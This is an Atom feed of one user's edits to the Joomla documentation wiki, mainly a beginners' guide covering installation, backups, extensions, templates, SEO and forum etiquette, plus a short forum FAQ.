<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Igeoffi</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Igeoffi"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/Igeoffi"/>
	<updated>2026-06-25T22:38:05Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Igeoffi&amp;diff=12444</id>
		<title>User:Igeoffi</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Igeoffi&amp;diff=12444"/>
		<updated>2009-01-08T06:07:00Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: Removing all content from page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Portal:Beginners&amp;diff=9947</id>
		<title>Portal:Beginners</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Portal:Beginners&amp;diff=9947"/>
		<updated>2008-08-06T04:38:04Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: /* SEO Questions */ fixed inconsistency&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{redirectstohere|Absolute Beginners Guide to Joomla!|Novices|What is Joomla}}&amp;lt;!-- DO NOT REMOVE THIS! --&amp;gt;&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you do nothing else, take time to complete the [http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Joomla! v 1.5 Quick Start Guide] [http://www.scribd.com/doc/2299418/Joomla-15-Quickstart Scribd], written by [[GHOP students/Kevin_Hayne|Kevin Hayne]]. As you read the guide, walk through the [http://help.joomla.org/ghop/feb2008/task167/index.html video accompaniment] created by [[GHOP students/Michael Casha|Michael Casha]]. This is a well developed and efficient training guide and video set.&lt;br /&gt;
&lt;br /&gt;
=Absolute Beginners Guide to Joomla!=&lt;br /&gt;
&lt;br /&gt;
Welcome to Joomla!, a leading open source Content Management System (CMS) platform.  You have made a great choice to use Joomla! for your website. Joomla! is a well-tested, extensible and effective tool supported by a very active and friendly community of developers and users.&lt;br /&gt;
&lt;br /&gt;
Do you want to get started with Joomla!, but you have no idea where to begin? Are you concerned that maybe you don&#039;t have the &#039;&#039;technical skills&#039;&#039; needed to be successful? Does it all seem &#039;&#039;a bit&#039;&#039; overwhelming? If so, you have come to the right place. The &#039;&#039;&#039;Absolute Beginner&#039;s Guide to Joomla!&#039;&#039;&#039; is just for you. This guide is intended for those who have &#039;&#039;no clue&#039;&#039; where to begin but really want to learn how to use Joomla!. Helping you become successful installing, configuring, backing up and restoring, upgrading, and extending Joomla! is exactly the point of this guide.&lt;br /&gt;
&lt;br /&gt;
== Test Drive Joomla! ==&lt;br /&gt;
At this point, you might be aware that there are thousands and thousands of Joomla! websites in the world, each specifically crafted to meet the needs of the Web site owner. You might even have a neighbor or a friend who has a Joomla! Web site and now you want one of your very own, but you are uncertain if you have &#039;&#039;what it takes&#039;&#039;. Maybe you have been lurking around the [http://forums.joomla.org Joomla! Forums] for awhile, observing others as they build Joomla! websites. Maybe you even have a case of &#039;&#039;&#039;Joomla! Web site Envy&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Take action, now!&#039;&#039;&#039; Begin by test driving Joomla! using a [http://demo.joomla.org/ Joomla! Demo site]. Log in to the backend Administrator and change a few things. Don&#039;t worry! You can&#039;t hurt anything! The demo sites are refreshed frequently. As you click around, consider the functionality you see. What would be great to have? What do you &#039;&#039;not&#039;&#039; want in your Web site? &lt;br /&gt;
&lt;br /&gt;
Take a look at the [http://help.joomla.org/ghop/feb2008/task020/Joomla!%20Core%20Features%20V1.2.pdf Joomla! Core Features Guide] [http://www.scribd.com/doc/2299291/Joomla-Core-Features-V1-2 scribd], written by [[GHOP students/James William Ramsay|James Ramsay]]. See what features are available in each download of Joomla!. Yes, even in &#039;&#039;your&#039;&#039; copy!&lt;br /&gt;
&lt;br /&gt;
If it doesn&#039;t all make sense, don&#039;t worry! You are just &#039;&#039;getting familiar&#039;&#039;. For now, cruise around and enjoy the scenery. You should not be breaking a sweat at this point. Take it easy! Have fun! Don&#039;t worry about a thing. :)&lt;br /&gt;
&lt;br /&gt;
== Conquer the Basics ==&lt;br /&gt;
It is time to learn the basics. In this section, all instructions are clearly provided. You are not expected to know anything about building a Web site before you begin. In only a short time, however, you will have learned a great deal. :-)&lt;br /&gt;
&lt;br /&gt;
The most important step to building your Web site begins before you start. There are a number of considerations to [http://docs.joomla.org/Planning_Your_Web_site planning your Web site]. Take time to consider those ideas before getting started. It will save you much frustration and rework!&lt;br /&gt;
&lt;br /&gt;
=== Complete the Joomla! v 1.5 Quick Start Guide ===&lt;br /&gt;
&lt;br /&gt;
If you do nothing else, take time to complete the [http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Joomla! v 1.5 Quick Start Guide] [http://www.scribd.com/doc/2299418/Joomla-15-Quickstart Scribd], written by [[GHOP students/Kevin Hayne|Kevin Hayne]]. As you read the guide, walk through the [http://help.joomla.org/ghop/feb2008/task167/index.html video accompaniment] created by [[GHOP students/Michael Casha|Michael Casha]]. This is a well developed and efficient training guide and video set.&lt;br /&gt;
&lt;br /&gt;
There are no prerequisites to this step-by-step course for building a Web site for a fictitious landscaping company. In the first few pages, you will have configured a localhost environment on your computer and installed Joomla!. Following the installation, you &#039;&#039;quickly&#039;&#039; learn how to configure all kinds of extensions, including components, modules and plugins. You will even make changes to the default template. The &#039;&#039;&#039;Joomla! v 1.5 Quick Start Guide&#039;&#039;&#039; is &#039;&#039;&#039;strongly recommended&#039;&#039;&#039; for all new Joomla! v 1.5 users. In a very short period of time, you will have learned enough that you can build a simple Joomla! Web site.&lt;br /&gt;
&lt;br /&gt;
=== Learn the language ===&lt;br /&gt;
&lt;br /&gt;
Familiarize yourself with the [[Joomla%21_Extensions_Defined|Joomla! lingo]]. [http://www.scribd.com/doc/2299530/Joomla-v-15-Extension-Types Scribd] The better you learn the language, the easier it will be to talk to the natives. Practice speaking these words in the car ride on the way to work, “Let’s see. A category belongs to a section.” Consider asking a friend to make you word games and crossword puzzles using Joomla! terms to drive home key concepts. :P&lt;br /&gt;
&lt;br /&gt;
=== Guides for Joomla! Editors and Publishers ===&lt;br /&gt;
Those who edit and publish articles on your new Joomla! site will also need help to understand what they must do. The [http://help.joomla.org/ghop/feb2008/task056/createarticletres.odt Author tutorial] by brianfast [http://www.scribd.com/doc/2299545/Joomla-v-15-How-to-create-an-Article Scribd] and an excellent guide for the [http://help.joomla.org/ghop/feb2008/task063/joomlawebmaster.odt Joomla! Publisher] [http://www.scribd.com/doc/2300190/Joomla-v-1-5-Webmaster-and-Publisher-Tutorial Scribd] by [[GHOP students/Max Shinn|Max Shinn (trombonechamp)]] could be very helpful.&lt;br /&gt;
&lt;br /&gt;
=== General Joomla! v 1.5 Questions? ===&lt;br /&gt;
&lt;br /&gt;
Ask questions in the [http://forum.joomla.org/viewforum.php?f=428 General Joomla! v 1.5 forum board].&lt;br /&gt;
&lt;br /&gt;
= Master System Administration =&lt;br /&gt;
&lt;br /&gt;
System Administration is a very important part to running a successful Web site. It is a good idea to practice installing Joomla! on a localhost environment. Then, learn to move your Joomla! website to a Web host and how to backup and restore your Joomla! database. Knowing how to do these things before you even begin creating your Web site ensures you will be ready if something unfortunate happens. With that knowledge in place, you can move forward with confidence.&lt;br /&gt;
&lt;br /&gt;
== Installation == &lt;br /&gt;
&lt;br /&gt;
Installing Joomla! can be easy to do -- especially on a localhost environment. Sometimes, though, issues at your Web host can make installation very challenging. Make certain you take advantage of the support your host provides. In the end, they are best able to help. &lt;br /&gt;
&lt;br /&gt;
=== Install Joomla! on a localhost ===&lt;br /&gt;
&lt;br /&gt;
The easiest way to get started with Joomla! is to install it on your desktop computer. Watch this video entitled [http://www.veoh.com/videos/v1802750A7Mnpe7z How to Install XAMPP and Joomla! v 1.5], by Andrew Altamirano (slogen123), where he shows you how to download and install XAMPP as a local server and then install Joomla!. A localhost is a great way to learn how to use Joomla!, to try extensions out in a test environment before updating your live site, and for first testing out upgrades. Learn to use a localhost right away. It will be well worth your time.&lt;br /&gt;
&lt;br /&gt;
=== Use the Joomla! v 1.5 Installation Guide ===&lt;br /&gt;
&lt;br /&gt;
All Web host environments are different. Check out the [http://downloads.joomlacode.org/docmanfileversion/1/7/4/17471/1.5_Installation_Manual_version_0.5.pdf Joomla! v 1.5 Installation Manual] for a detailed set of installation instructions.&lt;br /&gt;
&lt;br /&gt;
== Learn to Backup and Restore ==&lt;br /&gt;
&lt;br /&gt;
Learn to backup your Joomla! database. Learn to restore your Joomla! database. Practice. A lot! Frequent backups are the best way to sleep at night. Check out this video entitled [http://video.google.com/videoplay?docid=2742157386318372444 How to backup and restore a Joomla! database using phpMyAdmin] by kristofdb. It&#039;s not hard - learn to do it after you install Joomla! but before you configure the environment.&lt;br /&gt;
&lt;br /&gt;
== How to Recover Your System Administration Password ==&lt;br /&gt;
&lt;br /&gt;
We have all done it, some of us dozens of times! Watch this video by [[GHOP students/James William Ramsay|James Ramsey]] entitled [http://www.veoh.com/videos/v1818492yRNhWTdg How to Recover your Administrator Password using phpMyAdmin]. &lt;br /&gt;
&lt;br /&gt;
=== Installation Questions? ===&lt;br /&gt;
&lt;br /&gt;
Ask questions in the [http://forum.joomla.org/viewforum.php?f=429 Installing Joomla! v 1.5 forum board].&lt;br /&gt;
&lt;br /&gt;
= Maximize Use of the Core, &#039;&#039;Then&#039;&#039; Install Extensions =&lt;br /&gt;
&lt;br /&gt;
Many times, new Joomla! users find the Joomla! Extension Directory and install everything that looks cool! That&#039;s not always a good idea. It&#039;s best to maximize the use of the core code before you add extensions to your site. With each extension that you install, you complicate your site administration requirements and slow your site down. Upgrades are also more complicated. Extensions are great but make certain you really need them, first.&lt;br /&gt;
&lt;br /&gt;
== Exploring the possibilities with Joomla! v 1.5 Core ==&lt;br /&gt;
&lt;br /&gt;
* Learn what is possible given the core [http://help.joomla.org/ghop/feb2008/task028/Joomla%20Menu%20Types.zip Joomla! Menu Types] [http://www.scribd.com/doc/2299861/Joomla-v-15-Menu-Types Scribd] by xalnx;&lt;br /&gt;
* Understand all the options available when you create a [http://help.joomla.org/ghop/feb2008/task029/Issue_29_Joomla_Category_Blog_Layout_document_v2.zip Joomla! Category Blog Layout] [http://www.scribd.com/doc/2299872/Joomla-v-15-Category-Blog-Layout Scribd] by hashani;&lt;br /&gt;
* Watch this video on [http://help.joomla.org/ghop/feb2008/task055/Joomla!_GHOP_Issue_055.mov How to embed media within a Joomla! article] by mdranta;&lt;br /&gt;
* Explore the possibilities with [http://help.joomla.org/ghop/feb2008/task066/MediaManager.odt Using the media manager] [http://www.scribd.com/doc/2299878/Joomla-v-15-Using-the-Media-Manager Scribd] by SharifOerton;&lt;br /&gt;
* Learn [http://help.joomla.org/ghop/feb2008/task026/Rev10-Final.zip How to Use Joomla!&#039;s Register to Read More] [http://www.scribd.com/doc/2299883/Joomla-v-15-Register-to-Read-More Scribd] by drmmr763;&lt;br /&gt;
* Make certain to learn how to [http://help.joomla.org/ghop/feb2008/task104/How_to_create_a_custom_HTML_module.zip Create a custom HTML module] [http://www.scribd.com/doc/2299886/Joomla-v-15-How-to-create-a-custom-HTML-module- Scribd] by blitzprog;&lt;br /&gt;
* Learn how to [http://help.joomla.org/ghop/feb2008/task105/using_media_manager.zip Use the Media Manager to Offer File Downloads] [http://www.scribd.com/doc/2299888/Joomla-v-15-Using-Media-Manager-for-File-Downloads Scribd] by fervidfrogger;&lt;br /&gt;
* Learn how to create a simple [http://help.joomla.org/ghop/feb2008/task106/Joomla%20Image%20Gallery.odt Image Gallery using the Media Manager] [http://www.scribd.com/doc/2299943/Joomla-v-15-Image-Gallery-using-the-Media-Manager Scribd] by SharifOerton;&lt;br /&gt;
* Learn how to use core [http://help.joomla.org/ghop/feb2008/task107/BDRev5.zip Contact functions to create a services or resources directory] [http://www.scribd.com/doc/2299950/Joomla-v-15-Contact-functions-to-create-a-services-or-resources-directory Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]];&lt;br /&gt;
* Take time to explore how to use the [http://help.joomla.org/ghop/feb2008/task108/Newsflashtutorialfinal.odt News flash module to display random or rotating selection of texts] [http://www.scribd.com/doc/2299953/Joomla-v-15-News-flash-module-to-display-random-or-rotating-selection-of-texts Scribd] by tj.ferrell;&lt;br /&gt;
* Take advantage of the [http://help.joomla.org/ghop/feb2008/task109/task%20109.pdf Banners component and module to feature different parts of a website] [http://www.scribd.com/doc/2299956/Joomla-v-15-Banners-component-and-module-to-feature-different-parts-of-a-website Scribd] by [[GHOP students/Branko Pajic|Branko Pajic (balvanboy)]];&lt;br /&gt;
* Read through the [[Help screens]] to find out about all options available at the Back-end&lt;br /&gt;
&lt;br /&gt;
== Using Mootools ==&lt;br /&gt;
&lt;br /&gt;
There are many great things you can do with Mootools, included in Joomla! v 1.5. Check out these resources to learn how:&lt;br /&gt;
&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task083/Mootools%20Tips%20and%20Tricks.odt Mootools Tips and Tricks] [http://www.scribd.com/doc/2299965/Joomla-v-15-Mootools-Tips-and-Tricks Scribd] by [[GHOP students/Zach Kanzler|Zach Kanzler (theY4Kman)]];&lt;br /&gt;
* How to include [http://help.joomla.org/ghop/feb2008/task084/joomla.odt Squeezebox in your Joomla! Website] [http://www.scribd.com/doc/2299973/Joomla-v-15-Squeezebox-in-your-Joomla-Website Scribd] by ddcc;&lt;br /&gt;
* How to include [http://help.joomla.org/ghop/feb2008/task085/draft3HowtoincludeSlimboxinJoomla.odt Slimbox in your Joomla! Website] [http://www.scribd.com/doc/2299983/Joomla-v-15-Slimbox-in-your-Joomla-Website Scribd] by dsadik.&lt;br /&gt;
&lt;br /&gt;
== Venture into Joomla! v 1.5 Extensions ==&lt;br /&gt;
&lt;br /&gt;
Third party developers are solely responsible for their extensions and the quality of their code and timeliness at upgrades is not guaranteed by anyone other than that developer. There are many developers who produce very high quality code. It is best to stick with GPL or GPL-compatiable extensions although you might also find proprietary extensions on the Joomla! Extension Directory. If you purchase an extension and are unsatisfied with the result, Joomla! org cannot help you with those issues. &lt;br /&gt;
&lt;br /&gt;
Take time to review the wealth of extensions available on the [http://extensions.joomla.org Joomla! Extensions Directory].&lt;br /&gt;
&lt;br /&gt;
=== Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [[jforum:428 General Joomla! v 1.5 Questions]]&lt;br /&gt;
* [[jforum:466 Joomla! v 1.5 Template Questions]]&lt;br /&gt;
* [[jforum:470 Joomla! v 1.5 Extension Questions]]&lt;br /&gt;
* [[jforum:262 Joomla! Extension Directory Questions]]&lt;br /&gt;
&lt;br /&gt;
= Learn the Basics for Joomla! Templating =&lt;br /&gt;
&lt;br /&gt;
For many, there are only a few changes desired with the default Joomla! v 1.5 Template to make it work for their needs. These resources will help you learn how to make minor changes.&lt;br /&gt;
&lt;br /&gt;
== Minor Default Template Changes ==&lt;br /&gt;
* How to [http://help.joomla.org/ghop/feb2008/task093/replace%20the%20logo%20image.odt replace the logo image in the Milkyway template] [http://www.scribd.com/doc/2299991/Joomla-v-1-5-How-to-replace-the-logo-image-in-the-Milkyway-template Scribd] by deckers.olivier&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task033/033%20-%20Create%20a%20document%20explaining%20how%20to%20modify%20the%20default%20Template.zip How to modify the default Template] [http://www.scribd.com/doc/2300042/Joomla-v-15-How-to-modify-the-default-Template Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]].&lt;br /&gt;
&lt;br /&gt;
== Using CSS Class Suffixes ==&lt;br /&gt;
There are other simple things you can do with templates to achieve the look you need. These simple tutorials could be very helpful.&lt;br /&gt;
&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task057/Joomla%20Class%20Suffix%20Guides.pdf How to use CSS class suffixes in Joomla! 1.5] [http://www.scribd.com/doc/2300098/Joomla-v-15-How-to-use-CSS-class-suffixes Scribd] by takercena.&lt;br /&gt;
&lt;br /&gt;
== Getting Rid of Tables ==&lt;br /&gt;
* If you do not like tables in your Joomla! output, please see [http://help.joomla.org/ghop/feb2008/task059/Getting_Started_with_Template_Overrides_v2.tar.gz Getting Started with Template Overrides] [http://www.scribd.com/doc/2300107/Joomla-v-1-5-Getting-Started-with-Template-Overrides Scribd] by [[GHOP students/Wickrama Arachchi Vithanage Hashani Maduwanthi Weerarathna|Wickrama Arachchi Vithanage Hashani Maduwanthi Weerarathna (Hashani)]]&lt;br /&gt;
&lt;br /&gt;
== Adding Javascript to your Template ==&lt;br /&gt;
* You might be interested in [http://help.joomla.org/ghop/feb2008/task060/task60.odt How to add JavaScript to a Joomla template] [http://www.scribd.com/doc/2300110/Joomla-v-15-Adding-Javascript-to-your-Template Scribd] by  [[GHOP students/Anner J. Bonilla|Anner J. Bonilla (annerajb)]].&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting a Template Installation ==&lt;br /&gt;
If you are having trouble installing a template, see [http://help.joomla.org/ghop/feb2008/task061/Rev9.zip How to resolve problems with a template installation] [http://www.scribd.com/doc/2300161/Joomla-v-1-5-Template-Installation-Troubleshooting-Manual Scribd] by [[GHOP students/Chad Windnagle|Chad Windnagle (drmmr763)]].&lt;br /&gt;
&lt;br /&gt;
=== Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [http://forum.joomla.org/viewforum.php?f=466 Joomla! v 1.5 Template Questions]&lt;br /&gt;
&lt;br /&gt;
= Address Search Engine Optimization =&lt;br /&gt;
Search Engine Optimization is the practice of doing whatever is needed to help make your Web site rank higher in return results for a search engine. For some, this is very important aspect of attracting visitors to their site. Most experts agree, however, that the single best way to improve your chance of getting attention on the Internet is to provide good content on a regular basis. There are several things that you can do using core functionality to make your Joomla! Web site more SEO friendly. Here are some important areas to focus.&lt;br /&gt;
&lt;br /&gt;
== Configure and troubleshoot SEF URLs ==&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task110/GHOPC_J110_SEFrevised-1.odt Joomla! v 1.5 SEF URLs] [http://www.scribd.com/doc/2300167/Joomla-v-15-Configure-and-troubleshoot-SEF-URLs Scribd] by [[GHOP students/Benjamin Hättasch|Benjamin Hättasch]].&lt;br /&gt;
* If you want to use IIS and Joomla!&#039;s SEF URLs, [http://docs.joomla.org/IIS6_and_SEF_URLs_using_Joomla_1.5x do this first], then use the previous document.&lt;br /&gt;
&lt;br /&gt;
== Remove WWW from your domain name ==&lt;br /&gt;
* [http://help.joomla.org/ghop/feb2008/task111/remove_www_from_domain6.odt How to remove &amp;quot;WWW&amp;quot; from your Domain Name and Why it matters] [http://www.scribd.com/doc/2300173/Joomla-How-to-Remove-www-from-domain-and-why-it-matters Scribd] by theoclymenus&lt;br /&gt;
&lt;br /&gt;
== Create a Custom 404 Page ==&lt;br /&gt;
* [http://docs.joomla.org/Custom_error_pages Custom Error Pages, including 404&#039;s]&lt;br /&gt;
&lt;br /&gt;
== SEO Questions ==&lt;br /&gt;
Questions on these topics should be asked in the [http://forum.joomla.org/viewforum.php?f=431 Joomla! v 1.5 Administration Forum].&lt;br /&gt;
&lt;br /&gt;
=== SEO and SEF URL Questions? ===&lt;br /&gt;
&lt;br /&gt;
* [http://forum.joomla.org/viewforum.php?f=431 Joomla! v 1.5 Administration Forum]&lt;br /&gt;
&lt;br /&gt;
= Converting an Existing Website to Joomla! =&lt;br /&gt;
&lt;br /&gt;
Check out the [[How to Convert an existing Web site to a Joomla! Web site]] guide for great step by step instructions. &lt;br /&gt;
&lt;br /&gt;
= Asking Questions in the Forums =&lt;br /&gt;
&lt;br /&gt;
At some point in this journey, you started feeling confident enough to reach out to others and began using the Forums. There are a few &amp;quot;common courtesies&amp;quot; you should be aware of:&lt;br /&gt;
&lt;br /&gt;
* First of all, did you actually read the assignments? If not, do! Only you can help yourself learn and reading this material will do the trick!&lt;br /&gt;
&lt;br /&gt;
* Please make certain you search, first, before posting a question. Nine times out of ten someone else had the same issue that you had. As it turns out, we all travel a similar path.&lt;br /&gt;
&lt;br /&gt;
* Also, check the [[FAQs]]. There is already a TON of stuff out there that you WILL find helpful. Being responsible to search and review existing material keeps the questions at a manageable level for the volunteers who help.&lt;br /&gt;
&lt;br /&gt;
* Be clear and specific in your request for help. Entries like “Help! It doesn’t work!” tend to get ignored. Try to explain everything that led up to your problem. Try to explain what your problem is. Be clear about what you want to happen. And, thank those who bother to help!&lt;br /&gt;
&lt;br /&gt;
* Use the [http://forum.joomla.org/viewtopic.php?f=428&amp;amp;t=272481 Forum Post Assistant] to help you provide more information and better explain your problem.&lt;br /&gt;
&lt;br /&gt;
* If your question/problem was solved, mark your thread as solved by editing the first post you made in that thread and changing the topic icon to the green check mark with a circle. You can also add [Solved] to your topic title. By doing this you allow other members who are doing searches to easily differentiate between solved and unsolved issues. This also saves the volunteers&#039; time of having to open up solved topics.&lt;br /&gt;
&lt;br /&gt;
= Thanks to our GHOP Contestants! =&lt;br /&gt;
&lt;br /&gt;
Most of this material was written by Joomla! Google Highly Open Participation Contestants. This work is of the highest quality and the students were inspiring to work with. Sincere thanks to all of our participants for sharing their gifts with the Joomla! community. You guys rock!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Landing Pages]]&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9586</id>
		<title>Joomla! Forum FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9586"/>
		<updated>2008-07-28T17:15:14Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: +ranks/colored usernames&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
===What forum is used at joomla.org?===&lt;br /&gt;
&lt;br /&gt;
We are currently using the forum software, phpBB3. phpBB is located here: http://www.phpbb.com/&lt;br /&gt;
&lt;br /&gt;
===How is the forum at joomla.org integrated with Joomla!?===&lt;br /&gt;
The forum is not bridged with Joomla! in any way. The forum uses a customized theme that matches the rest of the joomla.org sites.&lt;br /&gt;
&lt;br /&gt;
===What are the rules of the joomla.org forums?===&lt;br /&gt;
You can read the current forum rules here: http://forum.joomla.org/viewtopic.php?f=8&amp;amp;t=65&lt;br /&gt;
&lt;br /&gt;
===How do you empty your PM-box on the forum?===&lt;br /&gt;
&lt;br /&gt;
Problem&lt;br /&gt;
Your PM-box is full and nobody can send you anymore messages. How to solve this?&lt;br /&gt;
&lt;br /&gt;
Solution&lt;br /&gt;
go to your messages and &amp;quot;check&amp;quot; the box and click delete for those you want to delete.&lt;br /&gt;
&lt;br /&gt;
Note: READ them first before you delete them!&lt;br /&gt;
&lt;br /&gt;
===How do I search the forum to find what I need?===&lt;br /&gt;
&lt;br /&gt;
The forum search is somewhat tricky. Here are some tips for effective searching:&lt;br /&gt;
&lt;br /&gt;
#Searches are case sensitive, so try upper and lower case. For example, xml and XML will give different results.&lt;br /&gt;
#Searches are for whole words, so for example error and errors will give different results.The forums are spidered by external search engines so you may be more successful using one of these.&lt;br /&gt;
#Advanced search will let you search with more parameters.&lt;br /&gt;
&lt;br /&gt;
===What are the stars/ranks under the forum username represent?===&lt;br /&gt;
The stars and ranks are based upon the number of posts a user has. See this page for more details:[[Explain 5 Star Rating System For Forum Posters]].&lt;br /&gt;
&lt;br /&gt;
===Why are there different colors of usernames?===&lt;br /&gt;
The different colors of the usernames are used to differentiate between the different working groups of Joomla!. See this page for more details:[[Explain 5 Star Rating System For Forum Posters]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Portal:Beginners&amp;diff=9567</id>
		<title>Portal:Beginners</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Portal:Beginners&amp;diff=9567"/>
		<updated>2008-07-27T22:19:44Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: /* Asking Questions in the Forums */ wikitag faqs, add forum post assistant, marked thread as solved&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{redirectstohere|Absolute Beginners Guide to Joomla!|Novices|What is Joomla}}&amp;lt;!-- DO NOT REMOVE THIS! --&amp;gt;&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you do nothing else, take time to complete the [http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Joomla! v 1.5 Quick Start Guide] [http://www.scribd.com/doc/2299418/Joomla-15-Quickstart Scribd], written by [[GHOP students/Kevin_Hayne|Kevin Hayne]]. As you read the guide, walk through the [http://help.joomla.org/ghop/feb2008/task167/index.html video accompaniment] created by [[GHOP students/Michael Casha|Michael Casha]]. This is a well developed and efficient training guide and video set.&lt;br /&gt;
&lt;br /&gt;
=Absolute Beginners Guide to Joomla!=&lt;br /&gt;
&lt;br /&gt;
Welcome to Joomla!, a leading open source Content Management System (CMS) platform.  You have made a great choice to use Joomla! for your website. Joomla! is a well-tested, extensible and effective tool supported by a very active and friendly community of developers and users.&lt;br /&gt;
&lt;br /&gt;
Do you want to get started with Joomla!, but you have no idea where to begin? Are you concerned that maybe you don&#039;t have the &#039;&#039;technical skills&#039;&#039; needed to be successful? Does it all seem &#039;&#039;a bit&#039;&#039; overwhelming? If so, you have come to the right place. The &#039;&#039;&#039;Absolute Beginner&#039;s Guide to Joomla!&#039;&#039;&#039; is just for you. This guide is intended for those who have &#039;&#039;no clue&#039;&#039; where to begin but really want to learn how to use Joomla!. Helping you become successful installing, configuring, backing up and restoring, upgrading, and extending Joomla! is exactly the point of this guide.&lt;br /&gt;
&lt;br /&gt;
== Test Drive Joomla! ==&lt;br /&gt;
At this point, you might be aware that there are thousands and thousands of Joomla! websites in the world, each specifically crafted to meet the needs of the Web site owner. You might even have a neighbor or a friend who has a Joomla! Web site and now you want one of your very own, but you are uncertain if you have &#039;&#039;what it takes&#039;&#039;. Maybe you have been lurking around the [http://forums.joomla.org Joomla! Forums] for awhile, observing others as they build Joomla! websites. Maybe you even have a case of &#039;&#039;&#039;Joomla! Web site Envy&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Take action, now!&#039;&#039;&#039; Begin by test driving Joomla! using a [http://demo.joomla.org/ Joomla! Demo site]. Log in to the backend Administrator and change a few things. Don&#039;t worry! You can&#039;t hurt anything! The demo sites are refreshed frequently. As you click around, consider the functionality you see. What would be great to have? What do you &#039;&#039;not&#039;&#039; want in your Web site? &lt;br /&gt;
&lt;br /&gt;
Take a look at the [http://help.joomla.org/ghop/feb2008/task020/Joomla!%20Core%20Features%20V1.2.pdf Joomla! Core Features Guide] [http://www.scribd.com/doc/2299291/Joomla-Core-Features-V1-2 scribd], written by [[GHOP students/James William Ramsay|James Ramsay]]. See what features are available in each download of Joomla!. Yes, even in &#039;&#039;your&#039;&#039; copy!&lt;br /&gt;
&lt;br /&gt;
If it doesn&#039;t all make sense, don&#039;t worry! You are just &#039;&#039;getting familiar&#039;&#039;. For now, cruise around and enjoy the scenery. You should not be breaking a sweat at this point. Take it easy! Have fun! Don&#039;t worry about a thing. :)&lt;br /&gt;
&lt;br /&gt;
== Conquer the Basics ==&lt;br /&gt;
It is time to learn the basics. In this section, all instructions are clearly provided. You are not expected to know anything about building a Web site before you begin. In only a short time, however, you will have learned a great deal. :-)&lt;br /&gt;
&lt;br /&gt;
The most important step to building your Web site begins before you start. There are a number of considerations to [http://docs.joomla.org/Planning_Your_Web_site planning your Web site]. Take time to consider those ideas before getting started. It will save you much frustration and rework!&lt;br /&gt;
&lt;br /&gt;
=== Complete the Joomla! v 1.5 Quick Start Guide ===&lt;br /&gt;
&lt;br /&gt;
If you do nothing else, take time to complete the [http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Joomla! v 1.5 Quick Start Guide] [http://www.scribd.com/doc/2299418/Joomla-15-Quickstart Scribd], written by [[GHOP students/Kevin Hayne|Kevin Hayne]]. As you read the guide, walk through the [http://help.joomla.org/ghop/feb2008/task167/index.html video accompaniment] created by [[GHOP students/Michael Casha|Michael Casha]]. This is a well developed and efficient training guide and video set.&lt;br /&gt;
&lt;br /&gt;
There are no prerequisites to this step-by-step course for building a Web site for a fictitious landscaping company. In the first few pages, you will have configured a localhost environment on your computer and installed Joomla!. Following the installation, you &#039;&#039;quickly&#039;&#039; learn how to configure all kinds of extensions, including components, modules and plugins. You will even make changes to the default template. The &#039;&#039;&#039;Joomla! v 1.5 Quick Start Guide&#039;&#039;&#039; is &#039;&#039;&#039;strongly recommended&#039;&#039;&#039; for all new Joomla! v 1.5 users. In a very short period of time, you will have learned enough that you can build a simple Joomla! Web site.&lt;br /&gt;
&lt;br /&gt;
